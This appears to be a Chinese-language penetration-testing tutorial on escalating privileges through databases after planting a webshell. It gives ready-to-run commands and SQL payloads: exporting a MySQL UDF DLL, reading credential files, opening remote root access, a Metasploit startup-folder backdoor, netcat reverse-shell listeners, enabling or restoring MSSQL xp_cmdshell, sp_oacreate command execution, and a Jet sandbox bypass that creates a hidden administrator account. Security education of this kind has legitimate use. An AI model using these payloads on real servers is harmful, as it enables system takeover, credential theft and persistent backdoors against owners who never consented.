在利用系统溢出漏洞无果的情况下,可以采用数据库进行提权,但需要知道数据库提权的前提条件:
服务器开启数据库服务及获取到最高权限用户密码。除 Access 数据库外,其他数据库基本都存在数
据库提权的可能
数据库应用提权在权限提升中的意义
WEB 或本地环境如何探针数据库应用
数据库提权权限用户密码收集等方法
目前数据库提权对应的技术及方法等
流程:服务探针-信息收集-提权利用-获取权限
一、UDF 提权知识点:(基于 MYSQL 调用命令执行函数)
读取网站数据库配置文件(了解其命名规则及查找技巧)
sql data inc config conn database common include 等
读取数据库存储或备份文件(了解其数据库存储格式及对应内容)
@@basedir/data/数据库名/表名.myd
mysql数据库配置文件目录中data目录中的MySQL目录中的user.myd文件,通常这里存放着连接数据库的账号和密码
(密码通过mysql5解密即可,也可通过select * from mysql.user; 查询)
利用脚本暴力猜解(了解数据库是否支持外联及如何开启外联)
远程本地暴力猜解,服务器本地暴力猜解
利用自定义执行函数导出 dll 文件进行命令执行
select version() select @@basedir
手工创建 plugin 目录或利用 NTFS 流创建
select 'x' into dumpfile '目录/lib/plugin::INDEX_ALLOCATION';
1.mysql<5.1 导出安装目录 c:/windows 或 system32
2.mysql=>5.1 导出安装目录/lib/plugin/
启动项知识点:(基于配合操作系统自启动)
导出自定义可执行文件到启动目录配合重启执行
将创建好的后门或执行文件进行服务器启动项写入,配合重启执行!
反弹知识点:(基于利用反弹特性命令执行)
nc -l -p 5577
上传完大马,通过以上读取网站配置文件等方法获取数据库的账号密码,通过大马执行select version(); 获取数据库版本
select @@basedir; 获取安装目录的路径
数据库的版本大于5.1,所以需要导出到安装路径下的/lib/plugin/目录中
先通过webshell在安装路径的/lib目录下创建plugin文件夹
点击大马的mysql提权后,更改导出安装目录,为安装路径下的/lib/plugin/mysqlDll.dll文件
执行成功后,创建cmdshell
可直接通过此处执行系统命令
二、MSF提权,启动项
此处需要对方数据库root支持外连
通过上传的大马,开启数据库root账号的外连
此处命令意思为:让root用户给予任意ip所有权限,所以执行后可以外连
msf搜素mysql相关漏洞
用到这个模块,启动项提权攻击
进入模块后,show options查看设置
需要设置数据库password,目标地址,数据库用户名
STARTIUP_FOLDER为启动项的目录,默认的,可以更改
写入设置,如果需要反弹shell,则把LOHST设置为自己本机msf的ip
exploit执行,执行成功后msf会把EkQek.exe文件上传到目标服务器,上传的路径为STARTIUP_FOLDER设置的路径(开机自启动的目录)
上传成功
等目标重启后就会加载启动项目录里的文件,自动执行EkQek.exe
可通过cs等工具远程控制
三、反弹控制
nc -l -p 5577
-l :监听本地
-p :监听端口
大马处,创建反弹函数
写上监听机的ip和端口号,执行
执行后,监听机收到会话,可执行系统命令
四、Mssql 数据库提权,使用 xp_cmdshell 进行提权
xp_cmdshell 默认在 mssql2000 中是开启的,在 mssql2005 之后的版本中则默认禁止。如果用户拥有
管理员 sa 权限则可以用 sp_configure 重修开启它。
启用:
EXEC sp_configure 'show advanced options', 1
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
关闭:
exec sp_configure 'show advanced options', 1;
reconfigure;
exec sp_configure 'xp_cmdshell', 0;
reconfigure;
执行:
EXEC master.dbo.xp_cmdshell '命令'
如果 xp_cmdshell 被删除了,可以上传 xplog70.dll 进行恢复
exec master.sys.sp_addextendedproc 'xp_cmdshell', 'C:\Program Files\Microsoft SQL
Server\MSSQL\Binn\xplog70.dll'
通过扫描网站备份文件等方法获取对方数据库账号密码后,进行外连
mssql与mysql不同,一般默认都支持外连
找到xp_cmdshell,执行命令
此处执行失败是因为xp_cmdshell没有开启
xp_cmdshell 默认在 mssql2000 中是开启的,在 mssql2005 之后的版本中则默认禁止
当你的数据库用户是sa权限时,可以将xp_cmdshell重新开启
启用:
EXEC sp_configure 'show advanced options', 1
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
开启后通过xp_cmdshell执行whoami查看权限
返回system权限
五、Mssql 数据库提权,使用 sp_oacreate 进行提权
主要是用来调用 OLE 对象,利用 OLE 对象的 run 方法执行系统命令。
启用:
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE WITH OVERRIDE;
关闭:
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 0;
RECONFIGURE WITH OVERRIDE;
执行:
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod
@shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >c:\\1.txt'
将whoami执行的结果保存到c盘下的1.txt
此处未开启sp_oacreate,需要开启后再执行
执行结果的内容
六、Mssql 数据库提权,沙盒提权
exec sp_configure 'show advanced options',1;reconfigure;
不开启的话在执行 xp_regwrite 会提示让我们开启,
exec sp_configure 'Ad Hoc Distributed Queries',1;reconfigure;
关闭沙盒模式,如果一次执行全部代码有问题,先执行上面两句代码。
exec master..xp_regwrite
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;
查询是否正常关闭,经过测试发现沙盒模式无论是开,还是关,都不会影响我们执行下面的语句。
exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines',
'SandBoxMode'
执 行 系 统 命 令
select * from
openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net user margin margin /add")')
select * from
openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net localgroup administrators margin /add")')